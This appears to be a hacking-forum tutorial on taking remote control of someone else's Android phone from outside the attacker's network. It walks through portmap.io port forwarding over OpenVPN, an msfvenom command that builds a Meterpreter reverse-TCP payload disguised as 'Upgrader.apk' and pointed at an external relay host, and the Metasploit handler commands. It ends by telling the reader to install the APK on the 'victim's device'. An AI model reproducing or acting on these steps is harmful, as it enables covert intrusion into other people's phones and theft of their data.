Yo fellas! This is my first null byte writing,so any errors or mistakes regarding post are welcome.
I have seen in the post of HOW TO HACK ANDROID WITH KALI. But many people are facing problems on hacking the android which is not on the same network as of that of the attacker. So today i am gonna show you how to hack android with port forwarding with portmap.io. So lets get rollin'!!!
First thing you want to dive in is create account. Go to portmap.io and sign up
Click on register and you will get a verification link. Click on it and you created the account.
Now you will have an interface like this. Click on the configurations and then click on create new configurations.
Now, first will come name. Give any name you like. Then comes the type so we will chose OpenVpn(preinstalled in kali). Then atlast comes protocol,select TCP. Leave the comment box empty.
Then atlast you need to click on generate and you will have something like the above screen. Download and save the file. Also take a note of the commands that are written. For me its "openvpn --config hello1234.hello.ovpn". Dont forget to click on create at the end xD.
Then download the file and copy it to the desktop.
Now go to mapping rules and create new rule
Just you need to write "4444" in port on pc. Its usually same in all pc. Click on create.
So we created our rule. We are almost done.
Most of you would know how to create payload but just there are slight changes. You have to change the lhost and also the lport. So your lhost will be "hello1234-58334.portmap.host" and your lport will be "58334".
msfvenom android/meterpreter/reverse_tcp LHOST=hello1234-58334.portmap.host LPORT=58334 R -o /root/Upgrader.apk
Now you need to start the port forwarding. Its damn easy, just copy the command then paste in terminal.
While making the configuration we had downloaded the config., so go to desktop and then run "openvpn --config hello1234.hello.ovpn". See the command will be different for you so dont ctrl+c and ctrl+v. Check the command then run it.
PS: I had to make a new portmap.io account because of some issues. Hope you guys dont mind :D
This will be the final stage i think. Now follow me:
set payload android/meterpreter/reverse_tcp
set lhost hello1234-58334.portmap.host
set lport 4444
Thats it. Now you have to install it in victim's device and boom!!
You hacked him out of the network.
Any problems are welcome in comment section :)